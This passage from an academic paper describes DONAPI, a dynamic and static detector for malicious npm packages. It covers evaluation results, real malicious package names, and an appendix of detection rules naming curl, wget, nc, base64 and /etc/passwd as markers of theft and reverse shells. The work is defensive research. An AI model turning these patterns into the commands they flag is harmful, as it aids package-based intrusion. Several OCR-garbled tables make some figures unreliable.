Features+RF 0.82 0.58 0.62 CPU: 0.041ms/it
Features+RF+AllowList 082 058 0.62 CPU:0.022ms/it

In addition, we evaluated the URL classifiers involved in
MSCD to demonstrate the effectiveness of our design. As
shown in Table 7, in a CPU-only environment, the machine-
learning model, despite being slightly less effective, is much
faster than the deep-learning model. In addition, allowlist

can further improve the detection speed without affecting the
model’s effectiveness.

Dynamic behavior extractor. The Dynamic behavior ex-
tractor complements the static identifier and is critical to the
overall detection process. We first tested three days of data
with a total of 6,766 packages, and 376 were in error (about
5.6%), and we manually analyzed some error samples. We
found that the main reasons for installation failures are code
or command errors, such as code syntax errors, no dependency
version exists, connection timeouts due to C2 address failures,
no installation environment supported, etc. If the dynamic
behavior extraction is incomplete for the above reasons, the
package cannot successfully attack the victim host despite be-
ing malicious. It is worth mentioning that we can still capture
network request behavior for packages that fail to install due
to connection failures.

Table 8: Evaluation results for hierarchical classifier

Module Category Recall
= Sensitive information theft (M1) 93.14%
E E’ Sensitive file operation (M2) 100.00%
= Malicious software import (M3) 82.28%
8 % Reverse shell (M4) 97.22%
T Suspicious command execution (M5)  68.75%

Hierarchical classifier. To verify the validity of the criteria
we defined for our hierarchical classification framework, we
used the malware set mentioned in Section 4.1, which covers
all five malicious categories we defined. However, it is worth
noting that the actual number of categories for packages is
slightly more than 1,159 due to the complex behavior of some
packages, which results in the possibility of belonging to more
than one malicious type, e.g., both sensitive information theft
and sensitive file tampering. The specific recall rates for each
category are shown in Table 8.

We initially designed Suspicious command execution (MS5)
to encompass more suspicious commands to avoid underre-
porting. However, after analyzing the missed samples, we
found the recall rate unsatisfactory due to their obfuscated
code and inability to obtain the complete behavior sequences
through dynamic execution. In future work, we will refine the
detector based on the characteristics of such samples.

4.3.2 Integrated Evaluation

In the previous sections, we conducted detailed performance
evaluations for each module, but assessing the detector as
a whole is also essential. The malicious samples used in
the experiments come from the data mentioned in Section
4.1 (1,159 in Total). For the benign samples, we randomly
selected and manually validated 3,000 packages.

In the accuracy evaluation of RQ1, we found that the detec-
tion could be better, so we analyzed the samples in detail. For
underreporting, we discovered that some malicious samples
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are time-sensitive, e.g., failed external links cause us to ex-
tract API call sequences incompletely. For false positives, we
found that the rich behavior of large software packages may
satisfy part of our defined API call sequences, which leads to
false positives; moreover, the dependencies between packages
and between packages and other software lead to the fact that
these packages inevitably import external software, but we
are unable to determine the degree of maliciousness of the
imported software accurately.

4.4 Efficiency Evaluation (RQ2)

Before the efficiency evaluation, we analyzed the update fre-
quency of the npm repository. Figure 5(a) shows the number
of package updates in the local npm package cache every
14 days from December 12, 2022 to June 24, 2023. The box
plots and marked points represent the distribution of package
updates over this period, and we observe that approximately
219,834 packages are released or updated every 14 days, an
average of 16,102 package updates per day. Thus, with such
many package updates, our detector must operate efficiently
without compromising the quality of the analysis.

4.4.1 Timeout Analysis

The dynamic and static API call sequence extraction is a criti-
cal detector component and significantly impacts the overall
processing time. However, complex package behaviors may
lead to excessively long processing times, e.g., large packages
may lead to longer static API call sequence extraction times,
and network issues may lead to unstable dynamic installation
times. Therefore, we employ a timeout mechanism to prevent
the detector from taking too long to process specific packages.

To determine suitable timeout values, we conducted tests on
a randomly selected subset of packages. For static API call se-
quence extraction, we tested 50,000 packages and calculated
the empirical cumulative distribution function (¢CDF) under
different time durations, as shown in Figure 5(c). We found
that when the detection time was less than 50s, 150s, and 300s,
the coverage rate for packages reached 82%, 93%, and 97%,
respectively. Based on these results, we set the static process-
ing timeout to 300s to ensure sufficient coverage. However,
it is essential to note that most packages require significantly
less than 300s for processing.

Similarly, we randomly selected 15,000 packages for dy-
namic API extraction for testing and analyzed the eCDF under
different time durations, as depicted in Figure 5(d). Due to
the variations in package functions, there is variability in the
duration distribution. Therefore, to achieve comprehensive
coverage, a timeout of 600s was set for dynamic execution,
as this duration covered nearly 89% of packages. It is worth
mentioning that this does not imply that the processing time is
inherently long, as not all packages require dynamic detection.

4.4.2 Processing Time

After determining the timeout, we randomly selected actual
update packages totaling three days (September 1-3, 2023)
for processing duration evaluation. It is worth noting that not
all packages go through the dynamic analysis step. Therefore,
the experiment tested a total of 15,479 samples, of which
4,571 were processed by the dynamic behavior extractor.

Table 9: Evaluation results for efficiency. Statistics are from
September 1-3

Object Result
Num of detected packages 15,479 (4,571 through dynamic)
Processing time 21 h 48 m 36s

Total lines of all codes
Total lines of reconstruction codes
Num of detected packages in 24 hours
(estimated)

168,610,774 rows
19,989,837 rows

~ 17,033 (> 16,102)

Table 9 lists the test results, showing that the detector could
process 15,479 packages in 22 hours. Meanwhile, to prevent
the number of update packages from fluctuating over time, we
estimated the number of packages (about 17,033) processed
by the detector over 24 hours, and the results show that it is
similar to the average number of updates (16,102) per day
that we have counted before. In addition, given the variation
in the number of lines per package, measuring the detection
efficiency in terms of code lines is necessary. On this basis,
the detection efficiency of the detector is about 1.29 million
lines per 10 minutes for all codes and about 152,757 lines per
10 minutes for reconstruction code.

4.5 Validity Evaluation (RQ3)

To validate the effectiveness of the detector, we conducted ex-
periments with a larger number of packages and compared its
performance with other tools on some packages. This exten-
sive evaluation allows us to understand better the detector’s
effectiveness in detecting and mitigating malicious packages.

Table 10: Evaluation results for validity

Detector Term Total Det. Pos. Det.
DONAPI Jan-May 2,764,022 1,727 325 (+165)
DONAPI 792 148 (+83)
GUARDDOG [27] 49,070 = 6in 1,000
AMALFI [59] May 420,395 2,678 =~ 22in1,000
SAP [36] 50,043 = 6in 1,000

Note Numbers in parentheses are the number of malicious packets detected by the model
but not visually analyzed manually due to code obfuscation.

Long term. Starting in 2023, we deployed DONAPI to
real-world environments to detect packages updated daily
from our local caches. We identified and manually confirmed
325 malicious packages (and tagged with npm or Synk) from
January through June. It is worth noting that the results of
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Figure 5: Evaluation results for efficiency

our detector needed to be more satisfactory during the early
stages of deployment, and the number of samples detected
was relatively low. However, as we iterated and improved
our detector, by May, our model stabilized, and the detections
aligned with our experimental results and expectations. DON-
API detected 148 actual malicious packages out of 420,395
packages throughout May. The specific detection results are
shown in Table 10.

Table 11: Evaluation results of different tools on datasets

Detector TP FP Acc. Prec. Recall F1
AMALFI [59] 1,031 27 097 097 0.89 097
SAP [36] 1,083 355 093 0.75 0.93 0.83
GUARDDOG [27] 1,052 512 090 0.67 091 0.77
DONAPI 1,062 116 097 0.90 092 093

Comparative study. In this study, it is necessary to demon-
strate the effectiveness of our detector by comparing it with
other npm package detection tools. GUARDDOG, a heuristic
rule-based tool developed by Google, is fully open-source and
thus easily used by others for comparison. AMALFI and SAP,
leading approaches based mainly on machine learning, hide
part of their code for security reasons, so we reconstructed the
feature extraction function according to the paper description.
In addition, since AMALFI does not provide a training set,
we use our dataset for training here, and SAP uses the dataset
supplied by their repository.

We first evaluated them using the malicious samples(1159)
used in the Integrate evaluation and the npm Top 5000 pack-
ages as benign samples. As shown in Table 11, GUARDDOG

100

Donapi
GUARDDOG
" 801 SAP
g 601 B AMALFI
C
[0}
1
o 401
o
20
0,
M1 M2 M3 M4 M5 FP
Categories

Figure 6: Percentage coverage of different package categories
by different tools

and SAP’s performance in the false positives and evaluation
metrics is significantly worse than that of AMALFI and our
detector. Moreover, the approximate detection numbers do
not imply similar detection capabilities. As shown in Figure
6, different detectors have different detection effects on dif-
ferent malicious categories, and our detector performs more
balanced and significantly outperforms the other tools in the
M2 category. In addition, we found that out of the 1052 in-
stances detected by GUARDDOG, 972 were determined to
be malicious based solely on the presence of the scripts
field, and SAP and AMALFT rely heavily on package. json,
which contrasts with our API call sequence-based approach
and highlights a significant difference in detection methods.

In addition, for better comparison, we also analyzed all
packages locally synchronized in May 2023 using these tools,
and the results are shown in Table 10. The other three tools
reported more malicious samples than Donapi, and GUARD-
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DOG and SAP even reported nearly 50,000. Subsequently,
we randomly sampled and manually reviewed the samples re-
ported by the other three tools, as shown in Table 10. We found
that only 6, 22, and 6 of them are truly malicious samples, re-
spectively, which indicates that our detector has a lower false
positive rate in real scenarios, thus reducing the workload of
security researchers more effectively.

5 Discussion

During our experiments and daily detection, we have gained
valuable insights into malicious packages and our detector.
Here, we will provide a concise overview of these findings.

Table 12: Case study of unconventional behavior sequences

Cat. Behav. Conv. A Case of Unconv.

FILE_CREATE
information SYSTEM_MESSAGE
theft SERIALIZATION
M1) PROCESS_COMMAND_EXECUTION
NETWORK_OUT
Reverse NETWORK_IN
shell PROCESS_FILE_EXECUTION
(M4) PROCESS_COMMAND_EXECUTION
NETWORK_OUT/IN

! Omiss; ©nit once; @Hit more than once;

Sensitive

eeCe®e0®00
oessOe®Ce®

Case study. We will illustrate the advantages of our detec-
tor using a few examples from our experiments. During our
daily detection operations, we have observed that dynamic
execution significantly complements static detection in our
detector. This behavior was captured through dynamic exe-
cution, providing valuable insights that static analysis alone
would have missed. For instance, the packages businessemail-
validator@99.10.9 and azure-sdk-v3@99.10.11 employed ob-
fuscation techniques to transform their code, rendering static
parsing ineffective. However, our dynamic analysis was still
able to capture the behavior of these packages.

Furthermore, our hierarchical classification framework can
encompass many malicious samples. For instance, we can
accurately classify @m365-admin/customizations @999.9.15
to M1 and #slib-tool@1.6.1 to M4, even though their behavior
sequences significantly differ from the conventional behavior
sequences of our known samples, as indicated in Table 12.
As an example, the case of M1 sent host information to a
remote server by decrypting the A file using AES in the
code and executing the malicious code contained within it.
Our analysis also discovered two previously unseen APIs:
fs.fchown and fs.writeSync. Thus, using a comprehensive and
well-developed list of APIs helps our framework effectively
detect these new APIs used in malicious packages.

Findings. After analyzing collected malicious datasets and
the malicious samples newly found by our detectors, we found
the following phenomena. 1) Code reuse. We observed in-
stances where packages released by different authors simulta-
neously exhibited identical malicious behavior and code, with

the only difference being the outgoing network addresses.
For example, packages like smart-jsonapi@1.1.1 and uitk-
build-tasks @ 10.0.0 showcased this phenomenon. While we
cannot definitively conclude that they originated from dis-
tinct attackers, it is crucial to acknowledge the prevalence
of such cases. Tracing these malicious packages back to the
same attacker could imply an association with a specific at-
tack template, enabling us to trace and address the attacking
organization more effectively. To facilitate this effort, we are
currently compiling a list of payloads from frequently encoun-
tered malicious packages, some of which are accessible on
our web page. 2) Sophisticated attack. As the technology
for malicious package detection advances, many malicious
packages attempt to bypass detection by collaborating with
multiple packages, primarily through dependencies. For in-
stance, in our investigation on the @alfalab series, 47 pack-
ages were released on a specific day. However, the malicious
code was present only in one package named @alfalab/core-
components-spinner, while the rest of the packages, such as
@alfalab/core-components-action-button and @alfalab/core-
components-button, leveraged dependencies to carry out ma-
licious behavior. Similar to the above are packages such as
jpeg-metadata@ 1.5. 1/ttf-metadata@ 1.5.2 [68], which in their
first step obtain a token from one of several potential remote
servers, and in their second step use this token to obtain an-
other attack script from a remote server. 3) 0-days. During the
deployment of DONAPI, we found and manually confirmed
325 new malicious packages, all discovered on their release
day. We first investigated the inclusion of two vulnerability
databases (Synk'” and Mend.io”"). We found that nearly 20%
of the packages were not indexed by either, while only 50%
were indexed by both. Then, we investigated how long these
malicious packages existed in the npm source and found that
they lived for about one week on average, with some of them
being able to exist for dozens or even hundreds of days. There-
fore, our work can help npm officials find and take down these
malicious packages faster.

Novelty. Table 13 summarizes some existing methods for
checking the maliciousness of npm packages, compared to
which our proposed DONAPI has the following advantages.
First, DONAPI effectively combines both dynamic and static
analysis techniques. Most existing works lack dynamic anal-
ysis, which prevents them from effectively analyzing obfus-
cated packages. Second, DONAPI has a more targeted and
highly automated detection mechanism. It simulates package
installation and import process, analyzes multiple aspects,
including command scripts, code, and URLs, and builds a
complete knowledge base. Third, DONAPI introduces the
code dependencies reconstructor. The module simulates the
code execution during installation and import, thus avoid-
ing analyzing all files in the package [36, 59]. In addition,
it preserves dependency information between files, which

https://security.snyk.io/
2Ohttps://www.mend.io/vulnerability-database/
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is missing when analyzing each file individually [16]. Fi-
nally, DONAPI presents some technical details that previous
work overlooked. 1) Improve robustness through anti-evasion
measures. (e.g2., modifying container environment variables to
prevent malicious packages from evading dynamic execution).
2) Using API instrumentation instead of Strace [16, 76] pro-
vides better interpretability by avoiding tracing non-package
behaviors and enabling code stalking analysis. 3) Broader
API coverage can help to reduce underreporting.

Table 13: Existing tools for analyzing npm packages

Package scanner Detection Granularity Technique used

npm-audit [49] Metadata of dependencies Static (Rules)

Ferreira et al. [21] Package Static (Rules)
Ohm et al. [51] Artifact Static (ML)
Zahan et al. [77] Metadata Static (Rules)
Liang et al. [40] Package Static (ML)
SAP [36] Package Static (ML)
GUARDDOG [27] Package Static (Rules)
AMALFI [59] Package Static (ML)
MALOSS [16] Package Static & Dynamic
DONAPI Package Static & Dynamic

Limitations. We know that no system is entirely foolproof,
and neither are our detectors. As our strategy tries to use ap-
propriate sub-detectors for possible attack surfaces during
the package installation and import stages, this leads to some
inevitable limitations in DONAPI. First, we currently only
have parsers for the bash and sh commands, which are the
main shell syntax used by attackers, so we need to continue to
extend for other shell commands for specific scenarios (e.g.,
Windows shell). In addition, we set a timeout to prevent the
detector from being stuck waiting for a long time, but this can
lead to partial misses, such as attackers using code obfusca-
tion and sleep methods to escape detection, so we also need
to handle such behavior during dynamic detection. Further,
we found that some packages need specific conditions (e.g.,
environment variables [13, 63] and external factors [65]) in
dynamic execution, and their absence will lead to a decrease in
code coverage, making it impossible to accomplish dynamic
monitoring accurately and generating false negatives.

Finally, distinct from the testing scenario, too many false
positives can lead to significant manual review costs due to the
massive volume of software packages in real-world situations,
which is reflected in RQ3. Therefore, we should adjust the
hierarchical classification framework according to the specific
usage scenarios, e.g., if we focus on ensuring the security of
the environment, we should relax the policy, i.e., more sound;
if we focus on the accuracy of the report, we should tighten
the policy, i.e., more complete.

6 Related Work

Numerous studies [17, 18, 19] for detecting malicious
JavaScript code exist. However, our research explicitly targets

the detection of malicious packages within the npm ecosys-
tem rather than solely focusing on JavaScript file detection or
vulnerability detection. Therefore, we will emphasize relevant
work that aligns with our research direction. We have catego-
rized these research techniques into three distinct categories.

Machine learning. Machine learning has emerged as a
well-established approach in various research domains, includ-
ing malicious package detection. Garrett et al. [22] proposed
an anomaly detection technique for identifying and flagging
anomalous update behavior since attackers tend to deviate
from the regular pattern in terms of timing and frequency
when using developer credentials to update packages associ-
ated with them. Liang et al. [41] are similar, except they focus
on differences in API call sequences and identify anomalous
packages through cluster analysis. Wyss et al. [75] proposed a
machine learning-based package difference metric in a related
study designed to identify packages that share the same attack
code or vulnerabilities, thus mitigating malicious code reuse.
Ladisa et al. [36] proposed using language-independent fea-
tures and attempted to train monolingual and cross-language
models using algorithms such as XGBoost, discovering 58
previously unknown malicious packages.

Another noteworthy contribution in this field comes from
Ohm et al. [51]. Their approach involves clustering malicious
packages and utilizing code similarity to detect potentially
malicious packages. However, the work closest to our goal is
conducted by Sejfia et al. [59]. Their research uses metadata
and static APIs as features, enabling classifiers for package
detection. This approach offers a promising method for accu-
rately identifying malicious packages.

Permission system. At the core of this approach lies pro-
gram analysis and privilege control. These studies emphasize
the vital role of program analysis and privilege control in
identifying and mitigating potential threats associated with
malicious packages. Ferreira et al. [21] introduced a permis-
sion system based on their investigation of package updates
[22]. They achieved this by executing updated component
packages within a sandbox environment to identify whether
they contain sensitive permission calls.

Similarly, Vasilakis et al. [50] centered on evaluating third-
party libraries. They utilized a combination of dynamic and
static approaches to scrutinize whether the permissions associ-
ated with these packages went beyond pre-defined boundaries.
Building upon this line of inquiry, they introduced a domain-
specific language (DSL) specifically tailored to express Read-
Write-eXecute (RWX) permissions [71]. By leveraging a de-
tailed and granular model of RWX permissions, they effec-
tively tackled the dynamic compromise problem, where the
security of the system is compromised due to runtime modi-
fications. In more recent work, Wyss et al. [76] introduce a
novel permission system that evaluates malicious packages
in the list and blocks any identified malicious behavior by
generating a list of install-time behaviors combined with a
lightweight policy language.
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Dependency analysis. Dependency analysis has emerged
as a prominent technique for examining code propagation
paths and has found widespread application in various pro-
gramming languages [66, 74, 78], and JavaScript also benefits
from this approach. In a study conducted by Chinthanet et
al. [11], they analyzed the entire process of code updates and
vulnerability fixes. The researchers identified a significant
propagation delay within the npm ecosystem, potentially re-
sulting in delayed vulnerability fixes updates. This lag raises
concerns for developers and researchers alike. Similarly, Liu
et al. [43] delved into the specific parsing rules involved in
the package installation process. They proposed a knowledge
graph-based dependency parsing technique that enables a
more precise analysis of the dependency tree for each package.
This technique facilitates better identification and tracking of
vulnerability propagation. While the primary focus of these
studies may not be malicious package detection, the concepts
and methodologies they embody offer new perspectives and
ideas for effectively detecting the propagation of malicious
packages within software ecosystems.

7 Conclusion

In this paper, we first build a local npm package cache con-
taining more than 3.4 million packages for data support. Then,
based on the analysis of many samples, we propose DONAPI,
an malicious npm package detector that combines dynamic
and static analysis to achieve a hierarchical classification of
npm malicious packages. Our detector is experimentally veri-
fied to achieve good results and has advantages over GUARD-
DOG, AMAFLI and SAP. Ultimately, we also identified and
confirmed 325 malicious packages as well as 2 API calls and
246 API call sequences never seen before, concrete proof of
the value and effectiveness of our approach.

As we advance, we aim to further increase the granularity
of our classification by analyzing more samples and improv-
ing the accuracy and efficiency of the classification through
technological advances. Ultimately, we envision applying our
techniques and methods more concretely and practically to
diverse language ecosystems, not limited to the npm.

8 Ethics and Disclosure

This research uncovered real-world malicious packages. De-
spite the risks involved, the code is essential for a complete
study presentation and has previously appeared in similar
forms in the literature.

Regarding security disclosure protocol, we did not pub-
licly disclose the malicious packages we found for security
reasons. Although npm officials have unpublished most ma-
licious packages, we hope to share them with professional
security researchers via institutional email requests.

Finally, a large multinational enterprise has already de-
ployed our detector internally for security interception, so we
cannot release the code due to contract limitations and copy-
right issues. However, we are willing to share separately the
malicious packages found in the official npm sources and their
detection results for use by other researchers. We hope that
our work will contribute to future research in these directions.
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Appendix

A

Hierarchical Classifier

A.1 The Importance of Sequences

Table 14: The performance on Malicious software import
(M3) using sets and sequences

Category

APIs Representation TP FP Instances

FP: ping-me-maybe @0.0.0,

Malicious Sets 56 44 .
software import create-sanity @3.11.5
‘ M3) P Sequences 4 26 FN: noblox.js-proxies@1.0.0,

noblox.js-proxies@1.0.3
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We obtained 100 packages from malicious datasets and
real-world scenarios containing sets corresponding to our
defined M3 sequences for testing. Table 14 shows that API
call sequences have fewer false positives (18) than API sets,
although there are a few misses (only 2).

A.2 Hierarchical Classification for Shell Com-
mand

Table 15: YARA rules for capturing sensitive behavior of bash
commands and shell scripts

Rule Description Examples

R1  Capturing Executable Files /bin/bash, /bin/sh

R2  Capturing file manipulation commands scp, cat, binary, chmod
R3  Capturing Commands for Obtaining Sensitive Information ~ whoami, hostname, pwd
R4  Capturing Networking Commands wget, curl, nc, nslookup
R5  Capturing sensitive commands base64, b64

R6  Capturing Sensitive Files or Folders etc/re, etc/passwd, /.profile
R7  Capturing commands that execute .exe file kexe

R8  Capturing Suspicious Files .sh, .exec

Table 16: Mapping rules for malicious command behavior

Module Name Category Rule Sequences
Malicious Sensitive information theft (M1) [R4 — R3, R4 — R6]
shell command Sensitive file operation (M2) [R2 — R6,R5 — R1]
detector Malicious software import (M3) [R4 — R8, R7]
Reverse shell (M4) [R4 — R1]

As depicted in Table 15, we formulate a set of rules to cap-
ture suspicious behaviors within the commands. Leveraging
these rules, we then devise a rule combination analogous to
API call sequences, enabling precise categorization of both
the associated malicious commands and their respective pack-
ages. This categorization is illustrated in Table 16.

B Obfuscation Feature Evaluation

Obfuscation Feature Importances
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Figure 7: Obfuscation feature importance rankings. The
bolded parts are new features that we propose.

C Additional experiments on our detectors

In addressing RQ1, we scrutinized our detectors’ accuracy via
a validation set, yielding a commendable performance. Nev-

ertheless, considering that both training and validation sets
originated from our accumulated malicious samples (though
without overlap), these experiments inherently carry the poten-
tial for certain metric inflation. Consequently, to substantiate
the stability of our detectors’ accuracy in the face of sample
variations, we deliberately curated distinct test sets for each
subdetector and for DONAPI independently. Our focus here
is solely on the capability to detect unknown malicious or
obfuscated samples, i.e., the Recall.

C.1 Dataset

Local cache. Given the inherent variability and diversity of
malicious samples and to verify the validity of the local cache,
we collected meta-information on 151 malicious packages dis-
closed by the Synk database in May and June. Subsequently,
we tried and obtained all the original . tgz files from the local
cache (not available at the official NPM), effectively proving
that we can retain the repository deletion copies promptly.
Obfuscated code detector. Considering that different ob-
fuscation means may have different characteristics [62], we
randomly selected 66 obfuscated packages from daily syn-
chronization as obfuscated samples.

Static identifier & DONAPI. Due to the static recognizer’s
lack of ability to detect commands, we excluded a subset of
malicious packages (8 in total) during this testing phase. In
contrast, for the DONAPI test, we used the complete set of
151 malicious samples.

C.2 Result

Table 17: Additional evaluation results of recall for sub-
detectors and DONAPI

Idx Module Name Malicious/Obfuscated FN  Recall
#1 Obfuscated code detector 66 2 96.97%
#2  Suspicious package static identifier 143 8 9441%
#3 DoNAPI (Integral detector) 151 8 94.70%

As shown in Table 17, the detector maintains a comparable
recall rate for unknown samples.

D API & Behavior

We focus on 132 APIs (see the website for their combinations
with parameters). At the same time, we outline abstractions for
12 different behavior types, with each behavior type precisely
defined and described. For comprehensive insights, please
refer to https://github.com/das-1ab/Donapi.
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